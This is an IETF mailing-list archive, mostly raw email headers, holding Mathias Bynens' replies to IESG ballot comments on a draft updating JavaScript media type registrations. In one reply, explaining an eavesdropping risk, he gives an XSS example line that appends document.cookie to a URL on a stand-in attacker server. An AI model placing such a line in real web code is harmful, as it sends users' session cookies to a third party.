X-Spam-Level: X-Spam-Status: No, score=-17.099 tagged_above=-999 required=5 tests=[BAYES_00=-1.9, DKIMWL_WL_MED=-0.001, DKIM_SIGNED=0.1, DKIM_VALID=-0.1, DKIM_VALID_AU=-0.1, DKIM_VALID_EF=-0.1, HTML_MESSAGE=0.001, SPF_HELO_NONE=0.001, SPF_PASS=-0.001, URIBL_BLOCKED=0.001, USER_IN_DEF_DKIM_WL=-7.5, USER_IN_DEF_SPF_WL=-7.5] autolearn=unavailable autolearn_force=no Authentication-Results: ietfa.amsl.com (amavisd-new); dkim=pass (2048-bit key) header.d=google.com Received: from mail.ietf.org ([4.31.198.44]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id AFpuKIIY_aUj for ; Thu, 6 Jan 2022 02:51:03 -0800 (PST) Received: from mail-pj1-x102c.google.com (mail-pj1-x102c.google.com [IPv6:2607:f8b0:4864:20::102c]) (using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits)) (No client certificate requested) by ietfa.amsl.com (Postfix) with ESMTPS id 878D83A1207 for ; Thu, 6 Jan 2022 02:51:03 -0800 (PST) Received: by mail-pj1-x102c.google.com with SMTP id r16-20020a17090a0ad000b001b276aa3aabso8076745pje.0 for ; Thu, 06 Jan 2022 02:51:03 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=20210112; h=mime-version:references:in-reply-to:from:date:message-id:subject:to :cc; bh=K4JjeMPVOf65j8rLPzpF/UlXy2bI4bPfunIffJlapoc=; b=G8/kMPzsiiW6TyG1yslEzPAj0JPEZxAAceSZDMb1Sh3T7gnPtJ4aWL28y0Ul9MOChz CA7wIKzRJDY/ZNdFi1sN713IKszWWfjqELbEkFx7WAR4+cHK/fDoGxD/x5S8jzdPXUNA 4cLjcgNYS3O2DUIiQRGB/TrCki6NjpX5dzQwXP3LiO7z2VVg0DfjD2k2CvYYd1FPtLIz jwtcpJZ4hIjLdoOWSVK/tx0pumFi8Y64H00UlTJXEnbuaEeCflqWueyA4EqQHVzh/r6S j0CLt9jUc/lMY8cJ+NJdHzX43tgzBpbHiATFcfC69h6/M/hWgvkmIjE2+urbloIjF4Dp IvsQ== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20210112; h=x-gm-message-state:mime-version:references:in-reply-to:from:date :message-id:subject:to:cc; bh=K4JjeMPVOf65j8rLPzpF/UlXy2bI4bPfunIffJlapoc=; b=aH5HlcldFCaOJ42Jxf0wAK35LFZlQqJiualdzpILqvidMZhkivAfM4VK83sBr96kNl rSoJZEP4M3lYyz/gtiHkAXzHo1ZpbJuSs7oDjURdJSlWiR88tDLAxA5oB9pjOuSWvUE3 etAQ1WIpOCIAM1r3peCZGMrUqQnObJgVbHoO7kFz78A0VO7GdcJhXpdsaGjaaYbGIom2 XLADqe2SWQZlpsm30m4m9KByGRTiJmMQju1iyLYWKMJDdh50/9JCCE0X5E8wk5c22UfI XDoQOKZe7o4fElnotFD/UWwJpV7encjtk6K5YfehIoGjgfvUJFH1NZD6r8SC59WS7Ct2 uzXw== X-Gm-Message-State: AOAM532b7NN8gswaWtGYHdn78z9kGaG5wG1yfelhu7jQydvTGmEwrWz1 554vL3H0BeHHw5IP57f2poT10+dpdzDPm52eql0UUg== X-Google-Smtp-Source: ABdhPJwOOug8EG241jrmdGX4nduVNxDXITqxDzm4zenzSLAuBPCKIjKXSZM9pmARFEpc+ikDmM6LUqpLuzkOEvtd56I= X-Received: by 2002:a17:90a:fd0e:: with SMTP id cv14mr3961444pjb.197.1641466261543; Thu, 06 Jan 2022 02:51:01 -0800 (PST) MIME-Version: 1.0 References: <164139103325.1563.3624861447117160382@ietfa.amsl.com> In-Reply-To: <164139103325.1563.3624861447117160382@ietfa.amsl.com> From: Mathias Bynens Date: Thu, 6 Jan 2022 11:50:50 +0100 Message-ID: To: Robert Wilton Cc: The IESG , draft-ietf-dispatch-javascript-mjs@ietf.org, dispatch chairs , DISPATCH WG , Ben Campbell Content-Type: multipart/alternative; boundary="0000000000006ed5bc05d4e7a5cf" Archived-At: Subject: Re: [dispatch] Robert Wilton's No Objection on draft-ietf-dispatch-javascript-mjs-13: (with COMMENT) X-BeenThere: dispatch@ietf.org X-Mailman-Version: 2.1.29 Precedence: list List-Id: DISPATCH Working Group Mail List List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 06 Jan 2022 10:51:08 -0000 --0000000000006ed5bc05d4e7a5cf Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: quoted-printable Hi Rob, Happy to elaborate on this on behalf of the authors. This paragraph refers to exactly what happened with RFC4329, which this new draft aims to supersede. There was no way RFC4329 could have predicted that .mjs / JavaScript modules would be a thing in the future. But now that this has happened, it=E2=80=99s important that an RFC exists that captures this implementation reality, so that the media types are not just a de facto standard but an actual IETF standard. That=E2=80=99s what we hope to accomplish with this n= ew draft. It is possible that this process repeats itself in the future. In addition to =E2=80=9Cclassic scripts=E2=80=9D and =E2=80=9Cmodules=E2=80=9D, ECMAScr= ipt could introduce an additional script goal in the future. At that point, we might need an additional media type registration, which would then ideally be accomplished by updating our draft and superseding it. I hope this clarifies things. Thanks for your review! Mathias Bynens On Wed, Jan 5, 2022 at 2:57 PM Robert Wilton via Datatracker < noreply@ietf.org> wrote: > Robert Wilton has entered the following ballot position for > draft-ietf-dispatch-javascript-mjs-13: No Objection > > When responding, please keep the subject line intact and reply to all > email addresses included in the To and CC lines. (Feel free to cut this > introductory paragraph, however.) > > > Please refer to https://www.ietf.org/blog/handling-iesg-ballot-positions/ > for more information about how to handle DISCUSS and COMMENT positions. > > > The document, along with other ballot positions, can be found here: > https://datatracker.ietf.org/doc/draft-ietf-dispatch-javascript-mjs/ > > > > ---------------------------------------------------------------------- > COMMENT: > ---------------------------------------------------------------------- > > Hi, > > Thanks for cleaning up the use of these media types. > > I've no significant comments, with only a nit level comment that I found > the > following paragraph in the introduction to be slightly strange because I > read > it as implying (i) to be compliant with this RFC, implementations must al= so > read/consider any future RFCs that update it, and (ii) future 'optional' > updates may break implementation conformance to this RFC, which makes tho= se > updates seem less optional. I would propose just deleting this paragraph= , > but > happy to leave it to the authors discretion. > > This document may be updated to take other content into account. > Updates of this document may introduce new optional parameters; > implementations MUST consider the impact of such an update. > > Regards, > Rob > > > > --0000000000006ed5bc05d4e7a5cf Content-Type: text/html; charset="UTF-8" Content-Transfer-Encoding: quoted-printable
Hi Rob,

Happy to elaborate on this on b= ehalf of the authors.

This paragraph refers to exa= ctly what happened with RFC4329, which this new draft aims to supersede.

There was no way RFC4329 could have predicted that .= mjs / JavaScript modules would be a thing in the future. But now that this = has happened, it=E2=80=99s important that an RFC exists that captures this = implementation reality, so that the media types are not just a de facto sta= ndard but an actual IETF standard. That=E2=80=99s what we hope to accomplis= h with this new draft.

It is possible that this pr= ocess repeats itself in the future. In addition to =E2=80=9Cclassic scripts= =E2=80=9D and =E2=80=9Cmodules=E2=80=9D, ECMAScript could introduce an addi= tional script goal in the future. At that point, we might need=C2=A0an addi= tional media type registration, which would then ideally be accomplished by= updating our draft and superseding it.

I hope thi= s clarifies things. Thanks for your review!

Mathia= s Bynens

On Wed, Jan 5, 2022 at 2:57 PM Robert Wilton via Datatracke= r <noreply@ietf.org> wrote:
Robert Wilton has= entered the following ballot position for
draft-ietf-dispatch-javascript-mjs-13: No Objection

When responding, please keep the subject line intact and reply to all
email addresses included in the To and CC lines. (Feel free to cut this
introductory paragraph, however.)


Please refer to https://www.ietf.org/blog/h= andling-iesg-ballot-positions/
for more information about how to handle DISCUSS and COMMENT positions.


The document, along with other ballot positions, can be found here:
https://datatracker.ietf.org/doc= /draft-ietf-dispatch-javascript-mjs/



----------------------------------------------------------------------
COMMENT:
----------------------------------------------------------------------

Hi,

Thanks for cleaning up the use of these media types.

I've no significant comments, with only a nit level comment that I foun= d the
following paragraph in the introduction to be slightly strange because I re= ad
it as implying (i) to be compliant with this RFC, implementations must also=
read/consider any future RFCs that update it, and (ii) future 'optional= '
updates may break implementation conformance to this RFC, which makes those=
updates seem less optional.=C2=A0 I would propose just deleting this paragr= aph, but
happy to leave it to the authors discretion.

=C2=A0 =C2=A0This document may be updated to take other content into accoun= t.
=C2=A0 =C2=A0Updates of this document may introduce new optional parameters= ;
=C2=A0 =C2=A0implementations MUST consider the impact of such an update.
Regards,
Rob



--0000000000006ed5bc05d4e7a5cf-- From nobody Fri Jan 7 01:13:36 2022 Return-Path: X-Original-To: dispatch@ietfa.amsl.com Delivered-To: dispatch@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 385063A1790 for ; Fri, 7 Jan 2022 01:13:34 -0800 (PST) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -17.099 X-Spam-Level: X-Spam-Status: No, score=-17.099 tagged_above=-999 required=5 tests=[BAYES_00=-1.9, DKIMWL_WL_MED=-0.001, DKIM_SIGNED=0.1, DKIM_VALID=-0.1, DKIM_VALID_AU=-0.1, DKIM_VALID_EF=-0.1, HTML_MESSAGE=0.001, SPF_HELO_NONE=0.001, SPF_PASS=-0.001, URIBL_BLOCKED=0.001, USER_IN_DEF_DKIM_WL=-7.5, USER_IN_DEF_SPF_WL=-7.5] autolearn=unavailable autolearn_force=no Authentication-Results: ietfa.amsl.com (amavisd-new); dkim=pass (2048-bit key) header.d=google.com Received: from mail.ietf.org ([4.31.198.44]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id Zfn5oRrFUUE5 for ; Fri, 7 Jan 2022 01:13:30 -0800 (PST) Received: from mail-pl1-x62e.google.com (mail-pl1-x62e.google.com [IPv6:2607:f8b0:4864:20::62e]) (using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits)) (No client certificate requested) by ietfa.amsl.com (Postfix) with ESMTPS id 0C4A43A1794 for ; Fri, 7 Jan 2022 01:13:29 -0800 (PST) Received: by mail-pl1-x62e.google.com with SMTP id s15so4417149plg.12 for ; Fri, 07 Jan 2022 01:13:29 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=20210112; h=mime-version:references:in-reply-to:from:date:message-id:subject:to :cc; bh=5OGKyTSJrBa/3Nuqk1jHNHuyGtgs/Sj3JxmxUAgwGng=; b=X4cPSf1vvbQKSvkD2YJTgLi1ruQbyVkLsaBqahkkDpTvTJ9t1LQ7YZtEk05JxahFuQ 7jroqhu7AHh8Ek2UD6RCjqtjJrNOW2TRVwaOa0OiKXRzZaYl2Cb6SvSfXRTyCSy8wAbV 8X20lsB+o5lzlGtsvlwjZyI06cCk95ii92jLq5y37J0n1KNfXGYeJKBsArGEcMbf2DwZ 8qKGe8IEA9tCpNhOpWK4e1nP6ON0p4cmDKeXJtwZQFtrvGiihSR77/ltfxgosXY22/55 EkXFeJ9Gr8EhU1zS3kMUzeLo5oicNYxp0pNuUejD4CYcn2+F11Q0LNQgBCgOq59onDk7 gRpQ== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20210112; h=x-gm-message-state:mime-version:references:in-reply-to:from:date :message-id:subject:to:cc; bh=5OGKyTSJrBa/3Nuqk1jHNHuyGtgs/Sj3JxmxUAgwGng=; b=ssvEwSEpTwm8GdhLI4aqRZmpDEfQX2umeONpt334FdW8t6pa6Ysy4HZQZgbyh8QAcS ZHAZPca5VS4dqYWoWhFzlWLas+Dk2PQaa9bMyhxBkHygIu6yibi5GbnQCTnLyWtmDgcR kHELVSFZtNWc4t/cUcson6E+v+KyD6bVM9M7FsUZJ/hFzOplRdr1jdpHceyHaIXz6mF7 WCS9Oa1fq6gR4kDqpnMsCTKqsFNGvbfQLSTKL2VoaiR4CCEPKjCs3LmqPc8NDxO11fP5 JwPo2gBiHKCoBeDy/t/ZfL0/kDaaDbEtqNTT/u9gQDRtuxw/Id0+Vfe+loI04cM8WtQA MkMQ== X-Gm-Message-State: AOAM532eh6hYOwqZ3E2W/zyxOY1D4szO+i87BGlRC8v+xYzTTH3yXbcZ hOHGfn+P1t0Putq8ihx33KQw3SdQ0C42+RLZmZnv7A== X-Google-Smtp-Source: ABdhPJyXAXY6A8bApDLWQ4Rq2dOjrgBPiW+SVFH0/4qLUmC9nESBa8c6GCuFXmFWngk6Tr97ujK3m0NlJ8rhMIcgbLQ= X-Received: by 2002:a17:902:d2d0:b0:149:48e4:f039 with SMTP id n16-20020a170902d2d000b0014948e4f039mr61820646plc.137.1641546807459; Fri, 07 Jan 2022 01:13:27 -0800 (PST) MIME-Version: 1.0 References: <164142722748.6967.15810149469713452092@ietfa.amsl.com> In-Reply-To: <164142722748.6967.15810149469713452092@ietfa.amsl.com> From: Mathias Bynens Date: Fri, 7 Jan 2022 10:13:15 +0100 Message-ID: To: Benjamin Kaduk Cc: The IESG , draft-ietf-dispatch-javascript-mjs@ietf.org, dispatch chairs , DISPATCH WG , Ben Campbell Content-Type: multipart/alternative; boundary="00000000000057abc705d4fa6605" Archived-At: Subject: Re: [dispatch] Benjamin Kaduk's No Objection on draft-ietf-dispatch-javascript-mjs-13: (with COMMENT) X-BeenThere: dispatch@ietf.org X-Mailman-Version: 2.1.29 Precedence: list List-Id: DISPATCH Working Group Mail List List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 07 Jan 2022 09:13:34 -0000 --00000000000057abc705d4fa6605 Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: quoted-printable Thanks for the review! Replies inline. On Thu, Jan 6, 2022 at 1:00 AM Benjamin Kaduk via Datatracker < noreply@ietf.org> wrote: > Benjamin Kaduk has entered the following ballot position for > draft-ietf-dispatch-javascript-mjs-13: No Objection > > When responding, please keep the subject line intact and reply to all > email addresses included in the To and CC lines. (Feel free to cut this > introductory paragraph, however.) > > > Please refer to https://www.ietf.org/blog/handling-iesg-ballot-positions/ > for more information about how to handle DISCUSS and COMMENT positions. > > > The document, along with other ballot positions, can be found here: > https://datatracker.ietf.org/doc/draft-ietf-dispatch-javascript-mjs/ > > > > ---------------------------------------------------------------------- > COMMENT: > ---------------------------------------------------------------------- > > Section 3 > > This document does not define how fragment identifiers in resource > identifiers ([RFC3986], [RFC3987]) for documents labeled with one of > the media types defined in this document are resolved. An update of > this document may define processing of fragment identifiers. > > This section is the "modules" section; the disclaimer of specification of > fragment handling seems to apply to both script and module content, and > thus > to be misplaced in this section. > Thanks. Addressed in https://github.com/linuxwolf/bmeck-ids/pull/62/files. > Section 5 > > Module scripts in ECMAScript can request the fetching and processing > of additional scripts, called importing. Implementations that > support modules need to process imported sources in the same way as > scripts. Further, there may be additional privacy and security > concerns depending on the location(s) the original script and its > imported modules are obtained from. For instance, a script obtained > from "host-a.example" could request to import a script from "host- > b.example", which could expose information about the executing > environment (e.g., IP address) to "host-b.example". See the section > "ECMAScript Language: Scripts and Modules" in [ECMA-262] for details. > > Is the referenced "ECMAScript Language: Scripts and Modules" section > supposed to be providing more details on the importing process, or the > potential privacy and security concerns? I skimmed through it and found > nothing noteworthy on the latter, which suggests that perhaps the former > was > intended. If that's the case, then reordering the sentences within the > paragraph might be helpful. > Addressed in https://github.com/linuxwolf/bmeck-ids/pull/62/files. This circumstance can further be used to make information, that is > normally only available to the script, available to a web server by > encoding the information in the resource identifier of the resource, > which can further enable eavesdropping attacks. Implementation of > such facilities is subject to the security considerations of the host > environment, as discussed above. > > What does "the resource" refer to, here? I don't see a previous mention = of > a resource that it would be referring to. Is it perhaps a resource that'= s > the target of a request to the web server that is receiving the informati= on > in question? > It refers to for example, URLs, that can be constructed and requested using JavaScript/DOM APIs on the Web as part of an XSS attack : 'https://hacker-controlled-server.example.com/log-cookie-data?cookie=3D= ' + document.cookie; This content is inherited as-is from RFC4329; we=E2=80=99d rather not make = changes to it as it=E2=80=99s outside the scope of our proposed changes. Section 7.1 > > It's pretty surprising to see a normative dependency on RFC 4329 when we > claim to obsolete that document. > Note that the registrations intentionally refer to both the new doc and RFC 4329: Person & email address to contact for further information: See Author's Address section of [this document] and [RFC4329]. Happy to make changes if needed but given the above, the normative reference seems unsurprising to me. > Appendix B > > Looking at the diff from RFC 4329, I also see some text about handling > application/ecmascript content that has a "version" parameter to the medi= a > type, that seems to have been removed entirely for this document. Is tha= t > sufficiently noteworthy to be included in this change listing? > This falls under the list item =E2=80=9CUpdated various references where th= e original has been obsoleted.=E2=80=9D which is already listed under the =E2= =80=9CChanges from RFC 4329=E2=80=9D section. The "version" parameter refers to the following old RFC 4329 note: For the application/ecmascript media type, implementations MUST NOT process content labeled with a "version" parameter as if no such parameter had been specified; this is typically achieved by treating the content as unsupported. This does not match implementation reality, and Web browsers cannot implement this restriction without Breaking the Web: https://mathiasbynens.be/demo/javascript-mime-type The "version" parameter is just ignored in practice, like any other unspecified parameter, so there is no need to include any text about it. NITS > > Section 5 > > The programming language defined in [ECMA-262] is not intended to be > computationally self-sufficient, rather it is expected that the > computational environment provides facilities to programs to enable > specific functionality. [...] > > The comma usage seems off here. I'm not sure if the sentence overall > contains a comma splice or not, but probably there should be a comma afte= r > "rather" regardless of whether the first comma is converted to > semicolon/full-stop or otherwise. > Good catch. Addressed in https://github.com/linuxwolf/bmeck-ids/pull/62/files. > Section 6 > > application/ecmascript" is to be removed. IANA is requested to add > the note "OBSOLETED in favor of text/javascript" to all registrations > except "text/javascript". > > Presumably this is "all registrations listed in this document", not "all > registrations in the registry"... > Indeed. That applies to the rest of the sentence as well, e.g. "All registrations will point to this document as reference.". > Section 6.2.x > > I extracted the various subsections and used diff to compare them. > Aside from the expected variation in type/subtype name and file extension > (.es vs .js), there is also variation in: > > - whether there is a full stop at the end of the "Change controller" line > Good catch! Fixed. > - some have the "Person & email address to contact for further informatio= n" > listing both this document and RFC 4329, but most just list this > document. > Fixed. > - text/livescript does not have a note about this registration applying t= o > later editions of [ECMA-262]; perhaps that's appropriate for the > livescript media type. > I=E2=80=99ve made this consistent for all registrations in the document. Yo= ur nits helped me find a few other inconsistencies that I=E2=80=99ve addressed as w= ell. Thanks, Mathias --00000000000057abc705d4fa6605 Content-Type: text/html; charset="UTF-8" Content-Transfer-Encoding: quoted-printable
Thanks for the review! Replies inline.

On Thu, Jan 6, = 2022 at 1:00 AM Benjamin Kaduk via Datatracker <noreply@ietf.org> wrote:
Benjamin Kaduk has entered th= e following ballot position for
draft-ietf-dispatch-javascript-mjs-13: No Objection

When responding, please keep the subject line intact and reply to all
email addresses included in the To and CC lines. (Feel free to cut this
introductory paragraph, however.)


Please refer to https://www.ietf.org/blog/h= andling-iesg-ballot-positions/
for more information about how to handle DISCUSS and COMMENT positions.


The document, along with other ballot positions, can be found here:
https://datatracker.ietf.org/doc= /draft-ietf-dispatch-javascript-mjs/



----------------------------------------------------------------------
COMMENT:
----------------------------------------------------------------------

Section 3

=C2=A0 =C2=A0This document does not define how fragment identifiers in reso= urce
=C2=A0 =C2=A0identifiers ([RFC3986], [RFC3987]) for documents labeled with = one of
=C2=A0 =C2=A0the media types defined in this document are resolved.=C2=A0 A= n update of
=C2=A0 =C2=A0this document may define processing of fragment identifiers.
This section is the "modules" section; the disclaimer of specific= ation of
fragment handling seems to apply to both script and module content, and thu= s
to be misplaced in this section.

=C2=A0
Section 5

=C2=A0 =C2=A0Module scripts in ECMAScript can request the fetching and proc= essing
=C2=A0 =C2=A0of additional scripts, called importing.=C2=A0 Implementations= that
=C2=A0 =C2=A0support modules need to process imported sources in the same w= ay as
=C2=A0 =C2=A0scripts.=C2=A0 Further, there may be additional privacy and se= curity
=C2=A0 =C2=A0concerns depending on the location(s) the original script and = its
=C2=A0 =C2=A0imported modules are obtained from.=C2=A0 For instance, a scri= pt obtained
=C2=A0 =C2=A0from "host-a.example" could request to import a scri= pt from "host-
=C2=A0 =C2=A0b.example", which could expose information about the exec= uting
=C2=A0 =C2=A0environment (e.g., IP address) to "host-b.example".= =C2=A0 See the section
=C2=A0 =C2=A0"ECMAScript Language: Scripts and Modules" in [ECMA-= 262] for details.

Is the referenced "ECMAScript Language: Scripts and Modules" sect= ion
supposed to be providing more details on the importing process, or the
potential privacy and security concerns?=C2=A0 I skimmed through it and fou= nd
nothing noteworthy on the latter, which suggests that perhaps the former wa= s
intended.=C2=A0 If that's the case, then reordering the sentences withi= n the
paragraph might be helpful.


=C2= =A0 =C2=A0This circumstance can further be used to make information, that i= s
=C2=A0 =C2=A0normally only available to the script, available to a web serv= er by
=C2=A0 =C2=A0encoding the information in the resource identifier of the res= ource,
=C2=A0 =C2=A0which can further enable eavesdropping attacks.=C2=A0 Implemen= tation of
=C2=A0 =C2=A0such facilities is subject to the security considerations of t= he host
=C2=A0 =C2=A0environment, as discussed above.

What does "the resource" refer to, here?=C2=A0 I don't see a = previous mention of
a resource that it would be referring to.=C2=A0 Is it perhaps a resource th= at's
the target of a request to the web server that is receiving the information=
in question?

It refers to for example, = URLs, that can be constructed and requested using JavaScript/DOM APIs on th= e Web as part of an XSS attack:


=
This content is inherited as-is from RFC4329; we=E2=80=99d rather not = make changes to it as it=E2=80=99s outside the scope of our proposed change= s.


Happy to make changes if neede= d but given the above, the normative reference seems unsurprising to me.
=C2=A0
Appendix B

Looking at the diff from RFC 4329, I also see some text about handling
application/ecmascript content that has a "version" parameter to = the media
type, that seems to have been removed entirely for this document.=C2=A0 Is = that
sufficiently noteworthy to be included in this change listing?

This falls under the list item =E2=80=9CUpdated various = references where the original has been obsoleted.=E2=80=9D which is already= listed under the =E2=80=9CChanges from RFC 4329=E2=80=9D section.

The "vers= ion" parameter refers to the following old RFC 4329 note:

=C2=A0 =C2=A0For t= he
=C2=A0 =C2=A0application/ecmascript media type, implementations MUST = NOT process
=C2=A0 =C2=A0content labeled with a "version" para= meter as if no such parameter
=C2=A0 =C2=A0had been specified; this is t= ypically achieved by treating the
=C2=A0 =C2=A0content as unsupport= ed.=C2=A0

This does not match implementation reali= ty, and Web browsers cannot implement this restriction without Breaking the= Web:=C2=A0https://mathiasbynens.be/demo/javascript-mime-type The= "version" parameter is just ignored in practice, like any other = unspecified parameter, so there is no need to include any text about it.

NITS
Section 5

=C2=A0 =C2=A0The programming language defined in [ECMA-262] is not intended= to be
=C2=A0 =C2=A0computationally self-sufficient, rather it is expected that th= e
=C2=A0 =C2=A0computational environment provides facilities to programs to e= nable
=C2=A0 =C2=A0specific functionality.=C2=A0 [...]

The comma usage seems off here.=C2=A0 I'm not sure if the sentence over= all
contains a comma splice or not, but probably there should be a comma after<= br> "rather" regardless of whether the first comma is converted to semicolon/full-stop or otherwise.

=C2=A0
Section 6

=C2=A0 =C2=A0application/ecmascript" is to be removed.=C2=A0 IANA is r= equested to add
=C2=A0 =C2=A0the note "OBSOLETED in favor of text/javascript" to = all registrations
=C2=A0 =C2=A0except "text/javascript".

Presumably this is "all registrations listed in this document", n= ot "all
registrations in the registry"...

= Indeed. That applies to the rest of the sentence as well, e.g. "All re= gistrations will point to this document as reference.".
=C2= =A0
Section 6.2.x
I extracted the various subsections and used diff to compare them.
Aside from the expected variation in type/subtype name and file extension (.es vs .js), there is also variation in:

- whether there is a full stop at the end of the "Change controller&qu= ot; line

Good catch! Fixed.
= =C2=A0
- some have t= he "Person & email address to contact for further information"= ;
=C2=A0 listing both this document and RFC 4329, but most just list this doc= ument.

Fixed.
=C2=A0
- text/livescript does not h= ave a note about this registration applying to
=C2=A0 later editions of [ECMA-262]; perhaps that's appropriate for the=
=C2=A0 livescript media type.

I=E2=80= =99ve made this consistent for all registrations in the document. Your nits= helped me find a few other inconsistencies that I=E2=80=99ve addressed as = well.

Thanks,
Mathias
--00000000000057abc705d4fa6605-- From nobody Fri Jan 7 01:21:03 2022 Return-Path: X-Original-To: dispatch@ietfa.amsl.com Delivered-To: dispatch@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 3F34F3A17B3 for ; Fri, 7 Jan 2022 01:20:57 -0800 (PST) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -17.099 X-Spam-Level: X-Spam-Status: No, score=-17.099 tagged_above=-999 required=5 tests=[BAYES_00=-1.9, DKIMWL_WL_MED=-0.001, DKIM_SIGNED=0.1, DKIM_VALID=-0.1, DKIM_VALID_AU=-0.1, DKIM_VALID_EF=-0.1, HTML_MESSAGE=0.001, SPF_HELO_NONE=0.001, SPF_PASS=-0.001, URIBL_BLOCKED=0.001, USER_IN_DEF_DKIM_WL=-7.5, USER_IN_DEF_SPF_WL=-7.5] autolearn=unavailable autolearn_force=no Authentication-Results: ietfa.amsl.com (amavisd-new); dkim=pass (2048-bit key) header.d=google.com Received: from mail.ietf.org ([4.31.198.44]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id vEa7AtV4BDjH for ; Fri, 7 Jan 2022 01:20:53 -0800 (PST) Received: from mail-pl1-x632.google.com (mail-pl1-x632.google.com [IPv6:2607:f8b0:4864:20::632]) (using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits)) (No client certificate requested) by ietfa.amsl.com (Postfix) with ESMTPS id 15EDA3A17B5 for ; Fri, 7 Jan 2022 01:20:53 -0800 (PST) Received: by mail-pl1-x632.google.com with SMTP id n16so4486264plc.2 for ; Fri, 07 Jan 2022 01:20:53 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=20210112; h=mime-version:references:in-reply-to:from:date:message-id:subject:to :cc; bh=Tfa8vCK/qmoVT/VUmbvnvXr1z8S3EDm4ggDpqzPVT2U=; b=mZwvLfcToq1dnNwL0hBlmSj+IE0jaJuym0DCIekiA44YiPImBh+05lsVC/nc4G1q/Y e9WMjk/8z8AHw8D1ejU7pl2EsmsoQ0iW8WvT+EbGY9zMhUDgzy+u+bW+t8J5/v2Apvot 8kuy9A3/b/Z3Zl2IVOMYz2TwGRy+MOxZncS1dFDBdfDd2Ma/c6JqDMd+Z4TYapBpZ4/8 P1Z8G+zQHc/oNJ2aWCbe+yeE2gMnB6nsoKPuRHMfqagzIzzVcfLYhyEb+GjbtzMgK0EH Um6BKG3lu5GSJ7Li6Pwdjq5z5zoz1ul6qsmFq7VpJKSS3IzTpnJwwugfiVUtoT7HYA+f GOEA== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20210112; h=x-gm-message-state:mime-version:references:in-reply-to:from:date :message-id:subject:to:cc; bh=Tfa8vCK/qmoVT/VUmbvnvXr1z8S3EDm4ggDpqzPVT2U=; b=E5CMenLopBtRO6AuoknjiL/D4T3KRGAon5S17x924r9t9lZ8cNW/kq26cdb0+eD5+d 6JQp2PdDssn2LvWqnYYi9i08tEHJVdItdWz3THMX1XkvUZogc4xHacF/F2io420ectvT vg82OyE+tj6odttyzAvzjBIoMKA/p0DT69b2I+3/yHmAWaokU5LdKqutDTzGC/OfVpMe j0Q+a3+u1Q81cAbwyaC6urnRZnj6oThpYgcSUnMt+ZtrQ8Se1Q6iaie9TvUM3ohsuAxt C2G1Hb3reTSIYZsyhmWJ3i+4afIw/oM9FQM8TsydbHtMYofK2UY4yq3gr6EoN8CtREF4 iYSQ== X-Gm-Message-State: AOAM533e+NoGDINTNhCKNpTpKWFtbjUAcg5bxnzyEJcSatfYAHBin/G1 nF1LtB2yw3oFj0g1JAHCgzYObQcW89iNsGCxX6CLWw== X-Google-Smtp-Source: ABdhPJzOCguRSRqYmAmh6Yi/hoPpgAP2TRlX0ozJUzy2zAbveaBcljyMws4hJWHik38NUOJ+xkmMZ4nk4EMvxvddoJ0= X-Received: by 2002:a17:90b:798:: with SMTP id l24mr14663608pjz.56.1641547251292; Fri, 07 Jan 2022 01:20:51 -0800 (PST) MIME-Version: 1.0 References: <164144481153.28700.9521326921012553920@ietfa.amsl.com> In-Reply-To: <164144481153.28700.9521326921012553920@ietfa.amsl.com> From: Mathias Bynens Date: Fri, 7 Jan 2022 10:20:39 +0100 Message-ID: To: Murray Kucherawy Cc: The IESG , draft-ietf-dispatch-javascript-mjs@ietf.org, dispatch chairs , DISPATCH WG , Ben Campbell Content-Type: multipart/alternative; boundary="000000000000cbe4ae05d4fa80b9" Archived-At: Subject: Re: [dispatch] Murray Kucherawy's No Objection on draft-ietf-dispatch-javascript-mjs-13: (with COMMENT) X-BeenThere: dispatch@ietf.org X-Mailman-Version: 2.1.29 Precedence: list List-Id: DISPATCH Working Group Mail List List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 07 Jan 2022 09:20:57 -0000 --000000000000cbe4ae05d4fa80b9 Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: quoted-printable Thanks for the review. Replies inline: On Thu, Jan 6, 2022 at 5:53 AM Murray Kucherawy via Datatracker < noreply@ietf.org> wrote: > Murray Kucherawy has entered the following ballot position for > draft-ietf-dispatch-javascript-mjs-13: No Objection > > When responding, please keep the subject line intact and reply to all > email addresses included in the To and CC lines. (Feel free to cut this > introductory paragraph, however.) > > > Please refer to https://www.ietf.org/blog/handling-iesg-ballot-positions/ > for more information about how to handle DISCUSS and COMMENT positions. > > > The document, along with other ballot positions, can be found here: > https://datatracker.ietf.org/doc/draft-ietf-dispatch-javascript-mjs/ > > > > ---------------------------------------------------------------------- > COMMENT: > ---------------------------------------------------------------------- > > The MUST in Section 2 is kind of peculiar. Is it a reminder to > implementers > today that they need to keep an eye out for possible updates in the > future? If > so, I think it's unnecessary. If something else is meant, then I'm quite > confused. > 